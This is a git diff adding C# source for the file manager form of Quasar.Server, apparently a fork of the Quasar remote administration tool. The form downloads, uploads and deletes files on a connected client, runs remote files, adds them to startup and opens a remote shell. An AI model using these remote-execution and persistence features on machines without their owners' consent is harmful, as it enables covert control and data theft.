+ this.cancelToolStripMenuItem.Size = new System.Drawing.Size(176, 26); + this.cancelToolStripMenuItem.Text = "Cancel"; + this.cancelToolStripMenuItem.Click += new System.EventHandler(this.cancelToolStripMenuItem_Click); + // + // toolStripMenuItem1 + // + this.toolStripMenuItem1.Name = "toolStripMenuItem1"; + this.toolStripMenuItem1.Size = new System.Drawing.Size(173, 6); + // + // clearToolStripMenuItem + // + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom; + this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; + this.clearToolStripMenuItem.Size = new System.Drawing.Size(176, 26); + this.clearToolStripMenuItem.Text = "Clear transfers"; + this.clearToolStripMenuItem.Click += new System.EventHandler(this.clearToolStripMenuItem_Click); + // + // imgListTransfers + // + this.imgListTransfers.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgListTransfers.ImageStream"))); + this.imgListTransfers.TransparentColor = System.Drawing.Color.Transparent; + this.imgListTransfers.Images.SetKeyName(0, "cancel.png"); + this.imgListTransfers.Images.SetKeyName(1, "done.png"); + // + // TabControlFileManager + // + this.TabControlFileManager.Alignment = System.Windows.Forms.TabAlignment.Left; + this.TabControlFileManager.Controls.Add(this.tabFileExplorer); + this.TabControlFileManager.Controls.Add(this.tabTransfers); + this.TabControlFileManager.Dock = System.Windows.Forms.DockStyle.Fill; + this.TabControlFileManager.ItemSize = new System.Drawing.Size(44, 136); + this.TabControlFileManager.Location = new System.Drawing.Point(0, 0); + this.TabControlFileManager.Margin = new System.Windows.Forms.Padding(4); + this.TabControlFileManager.Multiline = true; + this.TabControlFileManager.Name = "TabControlFileManager"; + this.TabControlFileManager.SelectedIndex = 0; + this.TabControlFileManager.Size = new System.Drawing.Size(1072, 572); + this.TabControlFileManager.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; + this.TabControlFileManager.TabIndex = 5; + // + // tabFileExplorer + // + this.tabFileExplorer.BackColor = System.Drawing.SystemColors.Control; + this.tabFileExplorer.Controls.Add(this.btnRefresh); + this.tabFileExplorer.Controls.Add(this.lblPath); + this.tabFileExplorer.Controls.Add(this.txtPath); + this.tabFileExplorer.Controls.Add(this.lstDirectory); + this.tabFileExplorer.Controls.Add(this.lblDrive); + this.tabFileExplorer.Controls.Add(this.cmbDrives); + this.tabFileExplorer.Location = new System.Drawing.Point(140, 4); + this.tabFileExplorer.Margin = new System.Windows.Forms.Padding(4); + this.tabFileExplorer.Name = "tabFileExplorer"; + this.tabFileExplorer.Padding = new System.Windows.Forms.Padding(4); + this.tabFileExplorer.Size = new System.Drawing.Size(928, 564); + this.tabFileExplorer.TabIndex = 0; + this.tabFileExplorer.Text = "File Explorer"; + // + // btnRefresh + // + this.btnRefresh.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnRefresh.Image = global::Quasar.Server.Properties.Resources.refresh; + this.btnRefresh.ImageAlign = System.Drawing.ContentAlignment.BottomCenter; + this.btnRefresh.Location = new System.Drawing.Point(852, 10); + this.btnRefresh.Margin = new System.Windows.Forms.Padding(4); + this.btnRefresh.Name = "btnRefresh"; + this.btnRefresh.Size = new System.Drawing.Size(28, 28); + this.btnRefresh.TabIndex = 5; + this.btnRefresh.UseVisualStyleBackColor = true; + this.btnRefresh.Click += new System.EventHandler(this.btnRefresh_Click); + // + // lblPath + // + this.lblPath.AutoSize = true; + this.lblPath.Location = new System.Drawing.Point(349, 15); + this.lblPath.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblPath.Name = "lblPath"; + this.lblPath.Size = new System.Drawing.Size(91, 19); + this.lblPath.TabIndex = 4; + this.lblPath.Text = "Remote Path:"; + // + // txtPath + // + this.txtPath.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtPath.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.txtPath.Location = new System.Drawing.Point(450, 10); + this.txtPath.Margin = new System.Windows.Forms.Padding(4); + this.txtPath.Name = "txtPath"; + this.txtPath.ReadOnly = true; + this.txtPath.Size = new System.Drawing.Size(403, 26); + this.txtPath.TabIndex = 3; + this.txtPath.Text = "\\"; + // + // lstDirectory + // + this.lstDirectory.AllowDrop = true; + this.lstDirectory.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstDirectory.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hName, + this.hSize, + this.hType}); + this.lstDirectory.ContextMenuStrip = this.contextMenuStripDirectory; + this.lstDirectory.ForeColor = System.Drawing.Color.White; + this.lstDirectory.FullRowSelect = true; + this.lstDirectory.GridLines = true; + this.lstDirectory.HideSelection = false; + this.lstDirectory.Location = new System.Drawing.Point(10, 44); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstDirectory.LvwColumnSorter = listViewColumnSorter1; + this.lstDirectory.Margin = new System.Windows.Forms.Padding(4); + this.lstDirectory.Name = "lstDirectory"; + this.lstDirectory.Size = new System.Drawing.Size(874, 508); + this.lstDirectory.SmallImageList = this.imgListDirectory; + this.lstDirectory.TabIndex = 2; + this.lstDirectory.UseCompatibleStateImageBehavior = false; + this.lstDirectory.View = System.Windows.Forms.View.Details; + this.lstDirectory.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstDirectory_ColumnClick); + this.lstDirectory.DragDrop += new System.Windows.Forms.DragEventHandler(this.lstDirectory_DragDrop); + this.lstDirectory.DragEnter += new System.Windows.Forms.DragEventHandler(this.lstDirectory_DragEnter); + this.lstDirectory.DoubleClick += new System.EventHandler(this.lstDirectory_DoubleClick); + // + // hName + // + this.hName.Text = "Name"; + this.hName.Width = 360; + // + // hSize + // + this.hSize.Text = "Size"; + this.hSize.Width = 125; + // + // hType + // + this.hType.Text = "Type"; + this.hType.Width = 168; + // + // lblDrive + // + this.lblDrive.AutoSize = true; + this.lblDrive.Location = new System.Drawing.Point(10, 15); + this.lblDrive.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblDrive.Name = "lblDrive"; + this.lblDrive.Size = new System.Drawing.Size(44, 19); + this.lblDrive.TabIndex = 0; + this.lblDrive.Text = "Drive:"; + // + // cmbDrives + // + this.cmbDrives.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbDrives.FormattingEnabled = true; + this.cmbDrives.Location = new System.Drawing.Point(62, 10); + this.cmbDrives.Margin = new System.Windows.Forms.Padding(4); + this.cmbDrives.Name = "cmbDrives"; + this.cmbDrives.Size = new System.Drawing.Size(264, 27); + this.cmbDrives.TabIndex = 1; + this.cmbDrives.SelectedIndexChanged += new System.EventHandler(this.cmbDrives_SelectedIndexChanged); + // + // tabTransfers + // + this.tabTransfers.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(45)))), ((int)(((byte)(45)))), ((int)(((byte)(48))))); + this.tabTransfers.Controls.Add(this.btnOpenDLFolder); + this.tabTransfers.Controls.Add(this.lstTransfers); + this.tabTransfers.Location = new System.Drawing.Point(140, 4); + this.tabTransfers.Margin = new System.Windows.Forms.Padding(4); + this.tabTransfers.Name = "tabTransfers"; + this.tabTransfers.Padding = new System.Windows.Forms.Padding(4); + this.tabTransfers.Size = new System.Drawing.Size(928, 564); + this.tabTransfers.TabIndex = 1; + this.tabTransfers.Text = "Transfers"; + // + // btnOpenDLFolder + // + this.btnOpenDLFolder.Location = new System.Drawing.Point(10, 10); + this.btnOpenDLFolder.Margin = new System.Windows.Forms.Padding(4); + this.btnOpenDLFolder.Name = "btnOpenDLFolder"; + this.btnOpenDLFolder.Size = new System.Drawing.Size(181, 26); + this.btnOpenDLFolder.TabIndex = 0; + this.btnOpenDLFolder.Text = "&Open Download Folder"; + this.btnOpenDLFolder.UseVisualStyleBackColor = true; + this.btnOpenDLFolder.Click += new System.EventHandler(this.btnOpenDLFolder_Click); + // + // lstTransfers + // + this.lstTransfers.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstTransfers.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hID, + this.hTransferType, + this.hStatus, + this.hFilename}); + this.lstTransfers.ContextMenuStrip = this.contextMenuStripTransfers; + this.lstTransfers.FullRowSelect = true; + this.lstTransfers.GridLines = true; + this.lstTransfers.HideSelection = false; + this.lstTransfers.Location = new System.Drawing.Point(10, 44); + listViewColumnSorter2.NeedNumberCompare = false; + listViewColumnSorter2.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter2.SortColumn = 0; + this.lstTransfers.LvwColumnSorter = listViewColumnSorter2; + this.lstTransfers.Margin = new System.Windows.Forms.Padding(4); + this.lstTransfers.Name = "lstTransfers"; + this.lstTransfers.Size = new System.Drawing.Size(872, 510); + this.lstTransfers.SmallImageList = this.imgListTransfers; + this.lstTransfers.TabIndex = 1; + this.lstTransfers.UseCompatibleStateImageBehavior = false; + this.lstTransfers.View = System.Windows.Forms.View.Details; + // + // hID + // + this.hID.Text = "ID"; + this.hID.Width = 128; + // + // hTransferType + // + this.hTransferType.Text = "Transfer Type"; + this.hTransferType.Width = 93; + // + // hStatus + // + this.hStatus.Text = "Status"; + this.hStatus.Width = 173; + // + // hFilename + // + this.hFilename.Text = "Filename"; + this.hFilename.Width = 289; + // + // FrmFileManager + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(1072, 598); + this.Controls.Add(this.TabControlFileManager); + this.Controls.Add(this.statusStrip); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; + this.Margin = new System.Windows.Forms.Padding(4); + this.MinimumSize = new System.Drawing.Size(824, 459); + this.Name = "FrmFileManager"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "File Manager []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmFileManager_FormClosing); + this.Load += new System.EventHandler(this.FrmFileManager_Load); + this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.FrmFileManager_KeyDown); + this.contextMenuStripDirectory.ResumeLayout(false); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); + this.contextMenuStripTransfers.ResumeLayout(false); + this.TabControlFileManager.ResumeLayout(false); + this.tabFileExplorer.ResumeLayout(false); + this.tabFileExplorer.PerformLayout(); + this.tabTransfers.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label lblDrive; + private System.Windows.Forms.ImageList imgListDirectory; + private System.Windows.Forms.ColumnHeader hName; + private System.Windows.Forms.ColumnHeader hSize; + private System.Windows.Forms.ColumnHeader hType; + private System.Windows.Forms.ContextMenuStrip contextMenuStripDirectory; + private System.Windows.Forms.ToolStripMenuItem downloadToolStripMenuItem; + private System.Windows.Forms.Button btnOpenDLFolder; + private DotNetBarTabControl TabControlFileManager; + private System.Windows.Forms.TabPage tabFileExplorer; + private System.Windows.Forms.TabPage tabTransfers; + private System.Windows.Forms.ColumnHeader hStatus; + private System.Windows.Forms.ColumnHeader hFilename; + private System.Windows.Forms.ColumnHeader hID; + private System.Windows.Forms.ImageList imgListTransfers; + private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator line3ToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator lineToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator line2ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem addToStartupToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem quickNavigateToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navDesktopToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navDownloadsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navDocumentsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navAppDataToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navLocalAppDataToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navProgramDataToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navProgramFilesToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navProgramFilesX86ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navStartupToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navTempToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navWindowsToolStripMenuItem; + private System.Windows.Forms.ContextMenuStrip contextMenuStripTransfers; + private System.Windows.Forms.ToolStripMenuItem cancelToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem openDirectoryInShellToolStripMenuItem; + private System.Windows.Forms.ComboBox cmbDrives; + private AeroListView lstDirectory; + private AeroListView lstTransfers; + private System.Windows.Forms.StatusStrip statusStrip; + private System.Windows.Forms.ToolStripMenuItem clearToolStripMenuItem; + private System.Windows.Forms.ToolStripStatusLabel stripLblStatus; + private System.Windows.Forms.Label lblPath; + private System.Windows.Forms.TextBox txtPath; + private System.Windows.Forms.Button btnRefresh; + private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem cutToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator lineCopyPasteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem uploadToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hTransferType; + private System.Windows.Forms.ToolStripSeparator toolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem previewToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator line4ToolStripMenuItem; + } +} + + + diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.cs new file mode 100755 index 0000000..18c3df7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.cs @@ -0,0 +1,854 @@ +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Controls; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows.Forms; +using Process = System.Diagnostics.Process; + +namespace Quasar.Server.Forms +{ + public partial class FrmFileManager : Form + { + /// + /// The current remote directory shown in the file manager. + /// + private string _currentDir; + + /// + /// The client which can be used for the file manager. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly FileManagerHandler _fileManagerHandler; + + /// + /// Clipboard for copy/cut operations - stores file paths and their types + /// + private List _clipboardFiles; + + /// + /// Indicates whether the clipboard operation is a cut (move) operation + /// + private bool _isCutOperation; + + private class ClipboardItem + { + public string Path { get; set; } + public FileType Type { get; set; } + } + + private enum TransferColumn + { + Id, + Type, + Status, + } + + /// + /// Holds the opened file manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new file manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the file manager form. + /// + /// Returns a new file manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmFileManager CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmFileManager f = new FrmFileManager(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the file manager form. + public FrmFileManager(Client client) + { + _connectClient = client; + + _fileManagerHandler = new FileManagerHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the file manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _fileManagerHandler.ProgressChanged += SetStatusMessage; + _fileManagerHandler.DrivesChanged += DrivesChanged; + _fileManagerHandler.DirectoryChanged += DirectoryChanged; + _fileManagerHandler.FileTransferUpdated += FileTransferUpdated; + MessageHandler.Register(_fileManagerHandler); + } + + /// + /// Unregisters the file manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_fileManagerHandler); + _fileManagerHandler.ProgressChanged -= SetStatusMessage; + _fileManagerHandler.DrivesChanged -= DrivesChanged; + _fileManagerHandler.DirectoryChanged -= DirectoryChanged; + _fileManagerHandler.FileTransferUpdated -= FileTransferUpdated; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Called whenever drives changed. + /// + /// The message handler which raised the event. + /// The currently available drives. + private void DrivesChanged(object sender, Drive[] drives) + { + cmbDrives.Items.Clear(); + cmbDrives.DisplayMember = "DisplayName"; + cmbDrives.ValueMember = "RootDirectory"; + cmbDrives.DataSource = new BindingSource(drives, null); + + SetStatusMessage(this, "Ready"); + } + + /// + /// Called whenever a directory changed. + /// + /// The message processor which raised the event. + /// The remote path of the directory. + /// The directory content. + private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items) + { + txtPath.Text = remotePath; + _currentDir = remotePath; + + lstDirectory.Items.Clear(); + + AddItemToFileBrowser("..", 0, FileType.Back, 0); + foreach (var item in items) + { + switch (item.EntryType) + { + case FileType.Directory: + AddItemToFileBrowser(item.Name, 0, item.EntryType, 1); + break; + case FileType.File: + int imageIndex = item.ContentType == null ? 2 : (int)item.ContentType; + AddItemToFileBrowser(item.Name, item.Size, item.EntryType, imageIndex); + break; + } + } + + SetStatusMessage(this, "Ready"); + } + + /// + /// Gets the image index of completed or canceled file transfers. + /// + /// File transfer status used to determine the image index. + /// The image index of the file transfer, default -1. + private int GetTransferImageIndex(string status) + { + int imageIndex = -1; + switch (status) + { + case "Completed": + imageIndex = 1; + break; + case "Canceled": + imageIndex = 0; + break; + } + + return imageIndex; + } + + /// + /// Called whenever a file transfer gets updated. + /// + /// The message processor which raised the event. + /// The updated file transfer. + private void FileTransferUpdated(object sender, FileTransfer transfer) + { + // Check if this is a preview transfer + if (transfer.LocalPath.Contains("_preview_") && transfer.Status == "Completed") + { + try + { + // Show the image in a preview form + ShowImagePreview(transfer.LocalPath, transfer.RemotePath); + SetStatusMessage(this, "Ready"); + return; + } + catch (Exception ex) + { + MessageBox.Show("Failed to load image preview: " + ex.Message, "Preview Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + SetStatusMessage(this, "Ready"); + } + } + + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + if (lstTransfers.Items[i].SubItems[(int)TransferColumn.Id].Text == transfer.Id.ToString()) + { + lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = transfer.Status; + lstTransfers.Items[i].ImageIndex = GetTransferImageIndex(transfer.Status); + return; + } + } + + // Don't show preview transfers in the transfer list + if (transfer.LocalPath.Contains("_preview_")) + return; + + var lvi = new ListViewItem(new[] + {transfer.Id.ToString(), transfer.Type.ToString(), transfer.Status, transfer.RemotePath}) + {Tag = transfer, ImageIndex = GetTransferImageIndex(transfer.Status)}; + + lstTransfers.Items.Add(lvi); + } + + private void ShowImagePreview(string localPath, string remotePath) + { + // Create a preview form with better layout + var previewForm = new Form + { + Text = "Image Preview - " + Path.GetFileName(remotePath), + Size = new System.Drawing.Size(900, 700), + StartPosition = FormStartPosition.CenterParent, + FormBorderStyle = FormBorderStyle.Sizable, + MinimizeBox = true, + MaximizeBox = true, + MinimumSize = new System.Drawing.Size(400, 300) + }; + + // Create a panel for the image + var panel = new Panel + { + Dock = DockStyle.Fill, + AutoScroll = true, + BackColor = System.Drawing.Color.FromArgb(30, 30, 30) + }; + + var pictureBox = new PictureBox + { + SizeMode = PictureBoxSizeMode.Zoom, + Dock = DockStyle.Fill + }; + + try + { + pictureBox.Image = System.Drawing.Image.FromFile(localPath); + } + catch (Exception ex) + { + MessageBox.Show("Failed to load image: " + ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + previewForm.Dispose(); + try { File.Delete(localPath); } catch { } + return; + } + + // Create a status bar with image info + var statusStrip = new StatusStrip(); + var statusLabel = new ToolStripStatusLabel(); + + if (pictureBox.Image != null) + { + var img = pictureBox.Image; + var fileInfo = new FileInfo(localPath); + statusLabel.Text = $"Size: {img.Width}x{img.Height} | File Size: {StringHelper.GetHumanReadableFileSize(fileInfo.Length)} | Format: {img.RawFormat}"; + } + + statusStrip.Items.Add(statusLabel); + + panel.Controls.Add(pictureBox); + previewForm.Controls.Add(panel); + previewForm.Controls.Add(statusStrip); + + previewForm.FormClosed += (s, e) => + { + pictureBox.Image?.Dispose(); + try { File.Delete(localPath); } catch { } + }; + + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(previewForm); } + ThemeManager.ApplyThemeToNewForm(previewForm); + + previewForm.Show(); + } + + /// + /// Combines the current path with the new path. + /// + /// The path to combine with. + /// The absolute combined path. + private string GetAbsolutePath(string path) + { + if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes + { + if (_currentDir.Length == 1) + return Path.Combine(_currentDir, path); + else + return Path.Combine(_currentDir + '/', path); + } + + return Path.GetFullPath(Path.Combine(_currentDir, path)); + } + + /// + /// Navigates one directory up in the hierarchical directory tree. + /// + /// The new directory path. + private string NavigateUp() + { + if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes + { + if (_currentDir.LastIndexOf('/') > 0) + { + _currentDir = _currentDir.Remove(_currentDir.LastIndexOf('/') + 1); + _currentDir = _currentDir.TrimEnd('/'); + } + else + _currentDir = "/"; + + return _currentDir; + } + else + return GetAbsolutePath(@"..\"); + } + + private void FrmFileManager_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("File Manager", _connectClient); + _fileManagerHandler.RefreshDrives(); + } + + private void FrmFileManager_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + _fileManagerHandler.Dispose(); + } + + private void cmbDrives_SelectedIndexChanged(object sender, EventArgs e) + { + SwitchDirectory(cmbDrives.SelectedValue.ToString()); + } + + private void lstDirectory_DoubleClick(object sender, EventArgs e) + { + if (lstDirectory.SelectedItems.Count > 0) + { + FileManagerListTag tag = (FileManagerListTag) lstDirectory.SelectedItems[0].Tag; + + switch (tag.Type) + { + case FileType.Back: + SwitchDirectory(NavigateUp()); + break; + case FileType.Directory: + SwitchDirectory(GetAbsolutePath(lstDirectory.SelectedItems[0].SubItems[0].Text)); + break; + } + } + } + + private void lstDirectory_ColumnClick(object sender, ColumnClickEventArgs e) + { + lstDirectory.LvwColumnSorter.NeedNumberCompare = (e.Column == 1); + } + + private void downloadToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)files.Tag; + + if (tag.Type == FileType.File) + { + string remotePath = GetAbsolutePath(files.SubItems[0].Text); + + _fileManagerHandler.BeginDownloadFile(remotePath); + } + } + } + + private void uploadToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var ofd = new OpenFileDialog()) + { + ofd.Title = "Select files to upload"; + ofd.Filter = "All files (*.*)|*.*"; + ofd.Multiselect = true; + + if (ofd.ShowDialog() == DialogResult.OK) + { + foreach (var localFilePath in ofd.FileNames) + { + if (!File.Exists(localFilePath)) continue; + + string remotePath = GetAbsolutePath(Path.GetFileName(localFilePath)); + + _fileManagerHandler.BeginUploadFile(localFilePath, remotePath); + } + } + } + } + + private void executeToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag) files.Tag; + + if (tag.Type == FileType.File) + { + string remotePath = GetAbsolutePath(files.SubItems[0].Text); + + _fileManagerHandler.StartProcess(remotePath); + } + } + } + + private void renameToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)files.Tag; + + switch (tag.Type) + { + case FileType.Directory: + case FileType.File: + string path = GetAbsolutePath(files.SubItems[0].Text); + string newName = files.SubItems[0].Text; + + if (InputBox.Show("New name", "Enter new name:", ref newName) == DialogResult.OK) + { + newName = GetAbsolutePath(newName); + _fileManagerHandler.RenameFile(path, newName, tag.Type); + } + break; + } + } + } + + private void deleteToolStripMenuItem_Click(object sender, EventArgs e) + { + int count = lstDirectory.SelectedItems.Count; + if (count == 0) return; + if (MessageBox.Show(string.Format("Are you sure you want to delete {0} file(s)?", count), + "Delete Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)files.Tag; + + switch (tag.Type) + { + case FileType.Directory: + case FileType.File: + string path = GetAbsolutePath(files.SubItems[0].Text); + _fileManagerHandler.DeleteFile(path, tag.Type); + break; + } + } + } + } + + private void addToStartupToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)files.Tag; + + if (tag.Type == FileType.File) + { + string path = GetAbsolutePath(files.SubItems[0].Text); + + using (var frm = new FrmStartupAdd(path)) + { + if (frm.ShowDialog() == DialogResult.OK) + { + _fileManagerHandler.AddToStartup(frm.StartupItem); + } + } + } + } + } + + private void quickNavigate_Click(object sender, EventArgs e) + { + var menuItem = sender as ToolStripMenuItem; + if (menuItem == null) return; + + string targetPath = ""; + + switch (menuItem.Name) + { + case "navDesktopToolStripMenuItem": + targetPath = "%USERPROFILE%\\Desktop"; + break; + case "navDownloadsToolStripMenuItem": + targetPath = "%USERPROFILE%\\Downloads"; + break; + case "navDocumentsToolStripMenuItem": + targetPath = "%USERPROFILE%\\Documents"; + break; + case "navAppDataToolStripMenuItem": + targetPath = "%APPDATA%"; + break; + case "navLocalAppDataToolStripMenuItem": + targetPath = "%LOCALAPPDATA%"; + break; + case "navProgramDataToolStripMenuItem": + targetPath = "%PROGRAMDATA%"; + break; + case "navProgramFilesToolStripMenuItem": + targetPath = "%PROGRAMFILES%"; + break; + case "navProgramFilesX86ToolStripMenuItem": + targetPath = "%PROGRAMFILES(X86)%"; + break; + case "navStartupToolStripMenuItem": + targetPath = "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"; + break; + case "navTempToolStripMenuItem": + targetPath = "%TEMP%"; + break; + case "navWindowsToolStripMenuItem": + targetPath = "%WINDIR%"; + break; + } + + if (!string.IsNullOrEmpty(targetPath)) + { + _fileManagerHandler.GetDirectoryContents(targetPath); + } + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + RefreshDirectory(); + } + + private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e) + { + string path = _currentDir; + if (lstDirectory.SelectedItems.Count == 1) + { + var item = lstDirectory.SelectedItems[0]; + FileManagerListTag tag = (FileManagerListTag)item.Tag; + + if (tag.Type == FileType.Directory) + { + path = GetAbsolutePath(item.SubItems[0].Text); + } + } + + FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(_connectClient); + frmRs.Show(); + frmRs.Focus(); + var driveLetter = Path.GetPathRoot(path); + frmRs.RemoteShellHandler.SendCommand($"{driveLetter.Remove(driveLetter.Length - 1)} && cd \"{path}\""); + } + + private void btnOpenDLFolder_Click(object sender, EventArgs e) + { + if (!Directory.Exists(_connectClient.Value.DownloadDirectory)) + Directory.CreateDirectory(_connectClient.Value.DownloadDirectory); + + Process.Start(_connectClient.Value.DownloadDirectory); + } + + private void contextMenuStripDirectory_Opening(object sender, System.ComponentModel.CancelEventArgs e) + { + bool isImageFile = false; + + if (lstDirectory.SelectedItems.Count == 1) + { + var selectedItem = lstDirectory.SelectedItems[0]; + FileManagerListTag tag = (FileManagerListTag)selectedItem.Tag; + isImageFile = tag.Type == FileType.File && IsImageFile(selectedItem.SubItems[0].Text); + } + + previewToolStripMenuItem.Visible = isImageFile; + line4ToolStripMenuItem.Visible = isImageFile; + + // Enable/disable paste based on clipboard state + pasteToolStripMenuItem.Enabled = _clipboardFiles != null && 